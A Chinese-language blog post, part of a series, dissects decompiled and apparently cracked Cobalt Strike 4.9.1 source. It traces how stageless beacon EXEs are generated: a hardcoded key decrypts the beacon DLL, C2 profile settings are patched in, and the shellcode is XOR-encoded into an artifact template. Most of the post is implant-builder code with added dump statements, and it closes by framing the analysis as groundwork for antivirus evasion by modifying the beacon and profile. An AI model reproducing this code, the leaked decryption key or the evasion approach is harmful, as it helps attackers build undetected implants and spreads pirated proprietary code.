CobaltStrike 4.9.1-生成stageless的exe为何会被杀以及生成原理(三)


前言

前面两篇已经说了cs 破解和cs windows stager生成原理这篇我们来通过windows 生成stageless来看谈杀软的查杀点。为什么免杀需要配合profile进行免杀。和修改beacon特征来对抗杀软。

stagerless 分析

我们来到 windows stageless payload 生成按钮这里
生成
对应代码位置
src/aggressor/dialogs/WindowsExecutableStageDialog.java

public WindowsExecutableStageDialog(AggressorClient var1) {
System.out.println("stagelesss对话框:" +this.getClass().getName());
this.client = var1;
}

打印出关键类
我们点击generate 的时候触发
点击generate
对应代码如下:

public void dialogAction(ActionEvent var1, Map var2) {
System.out.println("stageless dialogAction Method");
this.options = var2;
String var3 = DialogUtils.string(var2, "stage");
String var4 = DialogUtils.bool(var2, "x64") ? "x64" : "x86";
String var5 = DialogUtils.string(var2, "exitf");
int var6 = "Process".equals(var5) ? 0 : 1;
boolean var7 = DialogUtils.bool(var2, "x64");
ScListener var8 = ListenerUtils.getListener(this.client, var3);
if (var8 == null) {
this.dialog.setVisible(true);
DialogUtils.showError("A listener was not selected");
} else {
String var9 = DialogUtils.string(var2, "payload_guards");
String var10 = DialogUtils.string(var2, "syscall");
String var11 = DialogUtils.string(var2, "http_library");
this.stager = var8.export(this.client, var4, var6, var9, var10, var11); //stageless 生成函数 shellcode 生成点

CommonUtils.writeByte(this.stager,"测试是否是shellcode生成点.bin"); //是shelllcode直接上线成功


if (this.stager.length == 0) {
this.dialog.setVisible(true);
DialogUtils.showError("Could not generate " + var4 + " payload for " + var3);
} else {
String var12 = var2.get("output") + "";
String var13 = "";
if (var12.indexOf("PowerShell") > -1) {
var13 = CommonUtils.getDefaultFileName("beacon", "ps1", var7);
} else if (var12.indexOf("Raw") > -1) {
var13 = CommonUtils.getDefaultFileName("beacon", "bin", var7);
} else if (var12.indexOf("EXE") > -1) {
var13 = CommonUtils.getDefaultFileName("beacon", "exe", var7);
} else if (var12.indexOf("DLL") > -1) {
var13 = CommonUtils.getDefaultFileName("beacon", "dll", var7);
}

SafeDialogs.saveFile((JFrame)null, var13, this);
}
}

由上篇的stage我们知道 this.stager = var8.export(this.client, var4, var6, var9, var10, var11); //stageless 生成函数 shellcode 生成点 为shellcode生成点我们先进入函数内部看看干了啥了

src/common/ScListener.java

public byte[] export(AggressorClient var1, String var2, int var3, String var4, String var5, String var6) {

System.out.println("shellcode 生成点.............. "+var2);

BeaconDLL var7 = this.A(var2, var3, var1, var4, var5, var6);

return this.A(var7, var1, var2);
}

我们在进去this.A函数看看。下面代码根据监听器生成payload

private BeaconDLL A(String var1, int var2, AggressorClient var3, String var4, String var5, String var6) {
System.out.println("stageless dll payload ..........");
if ("windows/foreign/reverse_http".equals(this.getPayload())) {
return this._getPayloadStager(var1);
} else if ("windows/foreign/reverse_https".equals(this.getPayload())) {
return this._getPayloadStager(var1);
} else {
BeaconPayload var7 = new BeaconPayload(this, var3, var1, var2, var5, var6); //生成 payload
if ("windows/beacon_http/reverse_http".equals(this.getPayload())) {
System.out.println("listener windows/beacon_http/reverse_http");
return var7.exportBeaconStageHTTP(this.getPort(), this.getCallbackHosts(), false, false, var4);
} else if ("windows/beacon_https/reverse_https".equals(this.getPayload())) {
return var7.exportBeaconStageHTTP(this.getPort(), this.getCallbackHosts(), false, true, var4);
} else if ("windows/beacon_dns/reverse_dns_txt".equals(this.getPayload())) {
return var7.exportBeaconStageDNS(this.getPort(), this.getCallbackHosts(), true, false, var4);
} else if ("windows/beacon_bind_pipe".equals(this.getPayload()) && this.isExternalC2()) {
return var7.exportExternalC2Stage();
} else if ("windows/beacon_bind_pipe".equals(this.getPayload())) {
return var7.exportSMBStage(var4);
} else if ("windows/beacon_bind_tcp".equals(this.getPayload())) {
return var7.exportBindTCPStage(var4);
} else if ("windows/beacon_reverse_tcp".equals(this.getPayload())) {
return var7.exportReverseTCPStage();
} else {
AssertUtils.TestFail("Unknown payload '" + this.getPayload() + "'");
BeaconDLL var8 = new BeaconDLL();
var8.fileName = "unknown.beacon.dll";
var8.originalDLL = new byte[0];
var8.peProcessedDLL = new byte[0];
return var8;
}
}
}

我们这里的监听器是 listener windows/beacon_https/reverse_https 所以进入到这个函数 var7.exportBeaconStageHTTP(this.getPort(), this.getCallbackHosts(), false, true, var4);
代码分析执行
src/beacon/BeaconPayload.java

public BeaconDLL exportBeaconStageHTTP(int var1, String var2, boolean var3, boolean var4, String var5) {

System.out.println("stageless exportBeaconStageHTTP "+var2+" | "+var5);

AssertUtils.TestSetValue(this.arch, "x86, x64");
String var6 = "";
if (this.useWinHTTP) {
if ("x86".equals(this.arch)) {
var6 = "resources/winhttpb.dll";
} else if ("x64".equals(this.arch)) {
var6 = "resources/winhttpb.x64.dll";
}
} else if ("x86".equals(this.arch)) {
var6 = "resources/beacon.dll";
} else if ("x64".equals(this.arch)) {
var6 = "resources/beacon.x64.dll";
}

String var7 = this.C("HTTP", var5); //var5在 http请求中为空

var7 = var7 + this.A(this.useWinHTTP);
System.out.println("stageless exportBeaconStageHTTP :| " +var7);
this.F(var7);
System.out.println("stageless exportBeaconStageHTTP loadDll: " +var6);
BeaconDLL var8 = new BeaconDLL(var6);
var8.originalDLL = this.exportBeaconStage(var1, var2, var3, var4, var6, var5, this.useWinHTTP);
var8.peProcessedDLL = this.pe.process(var8.originalDLL, this.arch);
if (this.client != null) {
var8.setCustomLoaderSize(this.listener.getCustomLoaderSizeKB(this.client, var6, this.arch));
if (var8.usesCustomLoaderSize()) {
if (this.useWinHTTP) {
if ("x86".equals(this.arch)) {
var8.customFileName = "resources/winhttpb" + var8.getCustomLoaderExtension() + ".dll";
} else if ("x64".equals(this.arch)) {
var8.customFileName = "resources/winhttpb.x64" + var8.getCustomLoaderExtension() + ".dll";
}
} else if ("x86".equals(this.arch)) {
var8.customFileName = "resources/beacon" + var8.getCustomLoaderExtension() + ".dll";
} else if ("x64".equals(this.arch)) {
var8.customFileName = "resources/beacon.x64" + var8.getCustomLoaderExtension() + ".dll";
}

var8.customDLL = this.exportBeaconStage(var1, var2, var3, var4, var8.customFileName, var5, this.useWinHTTP);
}
}

return var8;
}

把上面的位数和system call调用方式传入

var8.originalDLL = this.exportBeaconStage(var1, var2, var3, var4, var6, var5, this.useWinHTTP);

执行结果如下:
listener windows/beacon_https/reverse_https

stageless exportBeaconStageHTTP 192.168.1.2 |
stageless exportBeaconStageHTTP :| Generating Payload: test – Type: HTTP – Arch: x64 – Exit Function: Process – System
Call: Indirect – HTTP Library: wininet

stageless exportBeaconStageHTTP loadDll: resources/beacon.x64.dll

stageless exportBeaconStage: 443 |192.168.1.2 |false |true |resources/beacon.x64.dll | |false |

src/beacon/BeaconPayload.java

protected byte[] exportBeaconStage(int var1, String var2, boolean var3, boolean var4, String var5, String var6, boolean var7) {
try {
System.out.println("stageless exportBeaconStage: " +var1+" |"
+var2+" |"
+var3+" |"
+var4+" |"
+var5+" |"
+var6+" |"
+var7+" |"

);
long var8 = System.currentTimeMillis();
byte[] var10= SleevedResource.readResource(var5); //resources/beacon.x64.dll

CommonUtils.writeByte(var10,"原来的stagelessbeacon.x64.dll.bin"); //resources/beacon.x64.dll
//resources/beacon.dll
// sleeve/sleepmask.x86.o
String[] var11 = this.c2profile.getString(".http-get.uri").split(" ");
String[] var12 = var2.split(",\\s*");
LinkedList var13 = new LinkedList();

for(int var14 = 0; var14 < var12.length; ++var14) {
var13.add(var12[var14]);
var13.add(CommonUtils.pick(var11));
}

String var34 = this.listener.getStrategy();
int var15 = BeaconConstants.getStrategyID(var34);
if (var34.startsWith("rotate") || var34.startsWith("failover")) {
var15 = 2;
}

int var16 = -1;
if (var34.startsWith("rotate")) {
var16 = BeaconConstants.parseStrategyForNumber(var34, "rotate");
}

int var17 = -1;
if (var34.equals("failover")) {
var17 = 0;
} else if (var34.startsWith("failover") && var34.endsWith("x")) {
var17 = BeaconConstants.parseStrategyForNumber(var34, "failover");
}

int var18 = -1;
if (var34.startsWith("failover") && (var34.endsWith("s") || var34.endsWith("m") || var34.endsWith("h") || var34.endsWith("d"))) {
var18 = BeaconConstants.parseStrategyForNumber(var34, "failover");
}

while(var13.size() > 2 && CommonUtils.join((Collection)var13, (String)",").length() > 255) {
String var19 = var13.removeLast() + "";
String var20 = var13.removeLast() + "";
this.F("dropping " + var20 + var19 + " from Beacon profile for size");
}

Profile.SleepAndJitter var35 = this.c2profile.getSleep(true);
int var36 = this.c2profile.getInt(".tasks_max_size");
int var21 = this.c2profile.size(".http-get.server.output", var36);
int var22 = 0;
if (var3) {
var22 |= 1;
}

if (var4) {
var22 |= 8;
}

BeaconGuardrails var23 = null;
if (var6 != null) {
var23 = new BeaconGuardrails(var6);
} else {
var23 = new BeaconGuardrails(this.listener);
}

Settings var24 = new Settings(6144);
var24.addShort(1, var22);
var24.addShort(2, var1);
var24.addInt(3, var35.SleepInMilliseconds);
var24.addInt(4, var21);
var24.addShort(5, var35.Jitter);
var24.addData(7, this.publickey, 256);
var24.addString(8, CommonUtils.join((Collection)var13, (String)","), 256);
var24.addShort(67, var15);
var24.addInt(68, var16);
var24.addInt(69, var17);
var24.addInt(70, var18);
var24.addData(14, CommonUtils.asBinary(this.c2profile.getString(".spawnto")), 16);
var24.addString(29, this.c2profile.getString(".post-ex.spawnto_x86"), 64);
var24.addString(30, this.c2profile.getString(".post-ex.spawnto_x64"), 64);
var24.addShort(31, QuickSecurity.getCryptoScheme());
var24.addString(26, this.c2profile.getString(".http-get.verb"), 16);
var24.addString(27, this.c2profile.getString(".http-post.verb"), 16);
var24.addInt(28, this.c2profile.shouldChunkPosts() ? 96 : 0);
var24.addInt(37, this.c2profile.getInt(".watermark"));
var24.addString(36, this.c2profile.getString(".watermarkHash"), 32);
var24.addShort(38, this.c2profile.option(".stage.cleanup") ? 1 : 0);
var24.addShort(39, this.c2profile.exerciseCFGCaution() ? 1 : 0);
var24.addInt(76, this.c2profile.getInt(".stage.data_store_size"));
this.setupMaxRetryStrategy(var24, this.listener.getMaxRetryStrategy());
if (var3) {
this.setupDNS(var24);
} else {
this.setupHTTP(var24, var7, var13);
}

String var25 = this.listener.getHostHeader();
if (var25 != null && var25.length() != 0) {
if (Profile.usesHostBeacon(this.c2profile)) {
var24.addString(54, "", 128);
} else {
var24.addString(54, "Host: " + this.listener.getHostHeader() + "\r\n", 128);
}
} else {
var24.addString(54, "", 128);
}

if (Profile.usesCookieBeacon(this.c2profile)) {
var24.addShort(50, 1);
} else {
var24.addShort(50, 0);
}

ProxyServer var26 = ProxyServer.parse(this.listener.getProxyString());
var26.setup(var24);
setupPivotFrames(this.c2profile, var24);
this.setupKillDate(var24);
this.setupGargle(var24, var5);
(new ProcessInject(this.c2profile)).apply(var24);
var24.addInt(17, this.syscallMethod);
byte[] var27 = var24.toPatch();
int var28 = BeaconGuardrails.quickChecksum(var27);
var23.setPayloadChecksum(var28 + 1);
var27 = beacon_obfuscate(var27);
var27 = var23.hashWithUsername(var27);
var27 = var23.hashWithComputer(var27);
var27 = var23.hashWithDomain(var27);
var27 = var23.hashWithLocalIP(var27);
String var29 = CommonUtils.bString(var10);//把dll变成字符串
CommonUtils.writeByte(var10,"stagelessbeacondll原来的stagelessbeacon.x64.dll-Two.bin");

// sleep mask
var29 = this.patchSleepMaskString(var29, "default");

CommonUtils.writeByte(CommonUtils.toBytes(var29),"stagelesssbeaconPatchSleepMask.x64.dll-Two.bin");

String var30 = "AAAABBBBCCCCDDDDEEEEFFFF";
int var31 = var29.indexOf(var30);
if (var31 > -1) {
String var32 = CommonUtils.bString(var27);
var29 = CommonUtils.replaceAt(var29, var32, var31);
}

Settings var37 = var23.buildGuardSettings();
var29 = BeaconGuardrails.applyPatch(var29, var37, var27);
CommonUtils.writeByte(CommonUtils.toBytes(var29),"stagelesPathcEnd.bin");
return CommonUtils.toBytes(var29);
} catch (IOException var33) {
MudgeSanity.logException("export Beacon stage: " + var5, var33, false);
return new byte[0];
}
}

这段代码 从resources/beacon.x64.dll 加载 beacon.x64.dll 我们进入函数看看

byte[] var10= SleevedResource.readResource(var5); //resources/beacon.x64.dll

public static byte[] readResource(String var0) {

return B.A(var0);
}

private byte[] A(String var1) {


String var2 = CommonUtils.strrep(var1, "resources/", "sleeve/");

byte[] var3 = CommonUtils.readResource(var2);
if (var3.length > 0) {
long var7 = System.currentTimeMillis();
System.out.println("peiqiF4ck var2: " +var2);
byte[] var6 = this.A.decrypt(var3);//解密dll
return var6;
} else {
byte[] var4 = CommonUtils.readResource(var1);
if (var4.length == 0) {
CommonUtils.print_error("Could not find sleeved resource: " + var1 + " [ERROR]");
} else {
CommonUtils.print_stat("Used internal resource: " + var1);
}

return var4;
}
}
public byte[] decrypt(byte[] var1) {
try {
byte[] var2 = Arrays.copyOfRange(var1, 0, var1.length - 16);
byte[] var3 = Arrays.copyOfRange(var1, var1.length - 16, var1.length);
Object var4 = null;
byte[] var14;
synchronized(this) {
this.F.init(this.D);
var14 = this.F.doFinal(var2);
}

byte[] var5 = Arrays.copyOfRange(var14, 0, 16);
if (!MessageDigest.isEqual(var3, var5)) {
CommonUtils.print_error("[Sleeve] Bad HMAC on " + var1.length + " byte message from resource");
return new byte[0];
} else {
Object var6 = null;
byte[] var15;
synchronized(this) {
var15 = this.do_decrypt(this.E, var2);
}

DataInputStream var7 = new DataInputStream(new ByteArrayInputStream(var15));
int var8 = var7.readInt();
int var9 = var7.readInt();
if (var9 >= 0 && var9 <= var1.length) {
byte[] var10 = new byte[var9];
var7.readFully(var10, 0, var9);
return var10;
} else {
CommonUtils.print_error("[Sleeve] Impossible message length: " + var9);
return new byte[0];
}
}
} catch (Exception var13) {
var13.printStackTrace();
return new byte[0];
}
}
private static byte[] OriginKey = {-1, 12, -6, 65, 7, -47, 91, 48, 17, 61, 29, 43, -99, -23, 21, 109}; //解密秘钥在第一篇中提到过
SleevedResource.Setup(OriginKey);
其实加载的是  sleeve/beacon.x64.dll

上面代码其实就是解密 下的 sleeve/beacon.x64.dll 并且返回解密结果,我们记住这个var10 就是 sleeve/beacon.x64.dll 解密后的dll
代码截图
我们接着往下看我们看到

String[] var11 = this.c2profile.getString(".http-get.uri").split(" ");
String[] var12 = var2.split(",\\s*");
public ScListener(Profile var1, byte[] var2, Map var3) {
this.options = var3;
System.out.println("C2 profile is "+var3);
this.c2profile = var1.getVariantProfile(this.getVariantName());
this.pubkey = var2;
this.config = new ListenerConfig(this.c2profile, this);
}

public String getVariantName() {
return DialogUtils.string(this.options, "profile");
}

接下来就不贴代码了我们直接贴分析图了

c2profile-1
c2profile-2
我们看到监听器的c2profile 为default
监听器
c2profile-3
这里使用的c2 profile 为默认
c2profile-4
/resources/default.profile
默认配置
读取c2profile里面的配置。可以看到这里c2 profile和免杀是多么息息相关。
读取c2profile-5
读取到的c2配置文件里面的选项配置到我们的shellcode里面。我们之前说过var10就是 sleeve/beacon.x64.dll 的内容 var29把dll转成字符串
模板字符
在beacon.x64.dll 里面找到 AAAABBBBCCCCDDDDEEEEFFFF 把var27里面的东西填入到这里
填充AAABBB
原来的beacon.x64.dll
beacon.x64.dll
我们来看path stagelesssbeaconPatchSleepMask.x64.dll-Two.bin 找 41 41 41 41 42 42 42 42 43 43 43 43 44 44 44 44 45 45 45 45 46 46 46 46
shellcodestagelesssbeaconPatchSleepMask
我们看patch以后替换 AAABBBCCC
AAABBB
stagelesPathAAABBBCCC.bin 填充 后搜索特征 c9 99 6f 38 68 0c ca 95 26 d2 d5 4f 83 1a 58 f4
替换后对比截图
2e 2f 2e 2f 2e 2c 2e 26 2e 2c 2e 2f 2e 2c 2f 95
然后再经过 var29 = BeaconGuardrails.applyPatch(var29, var37, var27); 得到
applyPatch后截图
接下来在走下一个函数如下图
走下一个函数

private byte[] A(BeaconDLL var1, AggressorClient var2, String var3) {
if (var1.isForeignListener) {
return var1.originalDLL;
} else {
Stack var4 = new Stack();
var4.push(SleepUtils.getScalar(var3));
if (var1.usesCustomLoaderSize()) {
var4.push(SleepUtils.getScalar(var1.customDLL));
var4.push(SleepUtils.getScalar(var1.customFileName));
} else {
var4.push(SleepUtils.getScalar(var1.originalDLL));
var4.push(SleepUtils.getScalar(var1.fileName));
}

String var5 = var2.getScriptEngine().format("BEACON_RDLL_GENERATE", var4);
if (var5 != null && var5.length() > 0) {
String var6 = "";
if (var1.usesCustomLoaderSize()) {
var6 = var1.customFileName;
} else {
var6 = var1.fileName;
}

String var7 = "Using user modified reflective DLL! DLLName=" + var6 + " Arch=" + var3;
var2.getScriptEngine().pinfo(var7, true);
return CommonUtils.toBytes(var5);
} else {
return var1.peProcessedDLL;
}
}
}

shellcode调用关键
打印函数执行关键点
在我这个例子。最后的shellcode生成就是

return var1.peProcessedDLL;

这个就是windows exe里面的shellcode也就是 beacon.x64.dll 模版组合

this.stager = var8.export(this.client, var4, var6, var9, var10, var11); //stageless 生成函数 shellcode 生成点
CommonUtils.writeByte(this.stager,"测试是否是shellcode生成点.bin"); //是shelllcode直接上线成功

我们从代码dump后的
85874bab056d5e23b1e5c36b95252f37 原来的stagelessbeacon.x64.dll.bin

93d637810cb2a9b8b8cded24c5fa534a 测试是否是shellcode生成点.bin

94d8a4865853d48a5f6140f69f57f192 stagelesssbeaconPatchSleepMask.x64.dll-Two.bin

85874bab056d5e23b1e5c36b95252f37 stagelessbeacondll原来的stagelessbeacon.x64.dll-Two.bin

2ead49a5983278e030a65881bcece3cb stagelesPathcEnd.bin

6219863b56ca5c7d63c680ca116d33a5 stagelesPathAAABBBCCC.bin

93d637810cb2a9b8b8cded24c5fa534a pepeProcessedDLL.bin

我们使用shellcode加载器加载一下看看
加载shellcode直接执行
我们点击保存的时候
src/aggressor/dialogs/WindowsExecutableStageDialog.java

public void dialogResult(String var1) {
System.out.println("stageless 点击生成:" +var1);
String var2 = this.options.get("output") + "";
boolean var3 = DialogUtils.bool(this.options, "x64");
boolean var4 = DialogUtils.bool(this.options, "sign");
if (var3) {
if (var2.equals("Windows EXE")) {
System.out.println("生成64位exe 程序");
CommonUtils.writeByte(this.stager,"windows64stager.bin");
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact64big.exe", var1);
} else if (var2.equals("Windows Service EXE")) {
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact64svcbig.exe", var1);
} else if (var2.equals("Windows DLL")) {
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact64big.x64.dll", var1);
} else if (var2.equals("PowerShell")) {
(new ResourceUtils(this.client)).buildPowerShell(this.stager, var1, true);
} else {
CommonUtils.writeToFile(new File(var1), this.stager);
}
} else if (var2.equals("Windows EXE")) {
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact32big.exe", var1);
} else if (var2.equals("Windows Service EXE")) {
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact32svcbig.exe", var1);
} else if (var2.equals("Windows DLL")) {
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact32big.dll", var1);
} else if (var2.equals("PowerShell")) {
(new ResourceUtils(this.client)).buildPowerShell(this.stager, var1);
} else {
CommonUtils.writeToFile(new File(var1), this.stager);
}

if (var4) {
if (!var1.toLowerCase().endsWith(".exe") && !var1.toLowerCase().endsWith(".dll")) {
DialogUtils.showError("Can only sign EXE and DLL files\nSaved unsigned " + var2 + " to\n" + var1);
return;
}

try {
DataUtils.getSigner(this.client.getData()).sign(new File(var1));
} catch (Exception var6) {
MudgeSanity.logException("Could not sign '" + var1 + "'", var6, false);
DialogUtils.showError("Could not sign the file\nSaved unsigned " + var2 + " to\n" + var1);
return;
}
}

DialogUtils.showInfo("Saved " + var2 + " to\n" + var1);

执行结果:

stageless 点击生成: beacon_x64.exe
生成64位exe 程序
写入: shellcode/windows64stager.bin
读取: artifact64big.exe
写入: shellcode/artifact64big.exe.bin
写入: shellcode/Patch加载器直接加载x64shellcode.bin
写入: shellcode/Patchartifactx64shellcode亦或后.bin
写入: shellcode/Patchartifactx64shellcode亦或后还原.bin
写入: shellcode/artifact64big.exe填充A.bin
写入: shellcode/Patchartifactx64shellcode亦或后2.bin
call replaceAt!!!
写入: shellcode/Patchartifactx64shellcode亦或后3.bin
fix checksum!!!!
写入: shellcode/var1Nofixsum.bin
PEEditor fix checksum!!!!
写入: shellcode/fixchecsum.bin

我们来分析一波 由于是exe
传入shellcode

(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact64big.exe", var1);

src/common/BaseArtifactUtils.java

public void patchArtifact(byte[] var1, String var2, String var3) {
byte[] var4 = this.patchArtifact(var1, var2);
CommonUtils.writeToFile(new File(var3), var4);
}
public byte[] patchArtifact(byte[] var1, String var2) {
if (A) {
System.exit(0);
}

Stack var3 = new Stack();
var3.push(SleepUtils.getScalar(var1));
var3.push(SleepUtils.getScalar(var2));
String var4 = this.client.getScriptEngine().format("EXECUTABLE_ARTIFACT_GENERATOR", var3);
return var4 == null ? this.fixChecksum(this._patchArtifact(var1, var2)) : this.fixChecksum(CommonUtils.toBytes(var4));
}

private static final boolean A() {
RuntimeMXBean var0 = ManagementFactory.getRuntimeMXBean();
List var1 = var0.getInputArguments();
Iterator var2 = var1.iterator();

String var3;
do {
if (!var2.hasNext()) {
return false;
}

var3 = (String)var2.next();
} while(var3 == null || !var3.toLowerCase().contains("-javaagent:"));

return true;
}

调用patch函数 基本和stage过程一样就忽略了

public byte[] _patchArtifact(byte[] var1, String var2) {
try {
String var3 = var2.startsWith("artifact32") ? "x86" : "x64";
InputStream var4 = CommonUtils.resource("resources/" + var2);
System.out.println("读取: "+var2);


byte[] var5 = CommonUtils.readAll(var4); //artifact64big.exe
CommonUtils.writeByte(var5,var2+".bin");
var4.close();
byte[] var6 = new byte[]{(byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254)};
byte[] var7 = new byte[var1.length];

CommonUtils.writeByte(var1,"Patch加载器直接加载"+var3+"shellcode.bin");//直接使用loader加载

for(int var8 = 0; var8 < var1.length; ++var8) {
// System.out.println("亦或的数字是: " +var6[var8 % 4]);
var7[var8] = (byte)(var1[var8] ^ var6[var8 % 4]); //亦或加密后到内存还原解密加载shellcode
}
CommonUtils.writeByte(var7,"Patchartifact"+var3+"shellcode亦或后.bin");

byte[] yihuohuanyuan = new byte[var7.length];
for(int i = 0; i < var7.length; ++i) {
yihuohuanyuan[i] = (byte)(var7[i] ^ var6[i % 4]); //还原
}
CommonUtils.writeByte(yihuohuanyuan,"Patchartifact"+var3+"shellcode亦或后还原.bin");

String var13 = CommonUtils.bString(var5); //artifact32.exe 转换成字符串 artifact64big.exe
int var9 = var13.indexOf(CommonUtils.repeat("A", 1024)); //找里面的AAA
Packer var10 = new Packer();
var10.little();
var10.addInteger(var9 + 16);
var10.addInteger(var1.length);
var10.addString(var6, var6.length);
if (BeaconLoader.hasLoaderHint(this.client, var1, var3)) {
var10.addInteger(BeaconLoader.getLoaderHint(var1, var3, "GetModuleHandleA"));
var10.addInteger(BeaconLoader.getLoaderHint(var1, var3, "GetProcAddress"));
} else {
var10.addInteger(0);
var10.addInteger(0);
}

var10.addString(var7, var7.length);
if (License.isTrial()) {
var10.addString("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");
CommonUtils.print_trial("Added EICAR string to " + var2);
}

byte[] var11 = var10.getBytes();
CommonUtils.writeByte(var11,var2+"填充A.bin");
CommonUtils.writeByte(var7,"Patchartifact"+var3+"shellcode亦或后2.bin");
var13 = CommonUtils.replaceAt(var13, CommonUtils.bString(var11), var9);//填充artifact64big.exe 的A
CommonUtils.writeByte(CommonUtils.toBytes(var13),"Patchartifact"+var3+"shellcode亦或后3.bin");
return CommonUtils.toBytes(var13);
} catch (IOException var12) {
MudgeSanity.logException("patchArtifact", var12, false);
return new byte[0];
}
}

最终在代码dump下的截图
dumpbin
同样我们把fixchesum.bin改成可执行文件就行了
改成exe执行
生成的exe和我们dump的对比
这个默认csprofile 配置的shellcode生成直接会被火绒查杀
默认配置直接杀
我们来看stageless payload generator 生成器。发现我我们windows中分析的一样
语言生成

生成raw的shellcode

我们看到pre这个就是shellcode点

总结

cs windows stageless可执行程序生成过程:

(1)加载sleeve/beacon.x64.dll 模版

(2)把模板里面的Y patch sleepmask 从c2 profile读取到配置以后然后以开始AAAABBBBCCCCDDDDEEEEFFFF 装入配置

(3)生成shellcode文件

(4)把生成的shellcode通过异或以后

(5)把异或后的shellcode放到artifact64big.exe 里面

(6)然后修复一下sum

(7)直接生成exe文件

通过上述你要是杀软你肯定标记artifact64big.exe 把这个特征标记死了。静态特征。
stageless也用这个这个肯定被标记过 了。beacon.x64.dll 也被标记了。另外shellcode也被标记了。我们需要修改profile文件配合进行免杀。这也就理解了为什么cs本质是玩beacon.dll和c2profile了。


文章作者: peiqiF4ck
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 peiqiF4ck !
  目录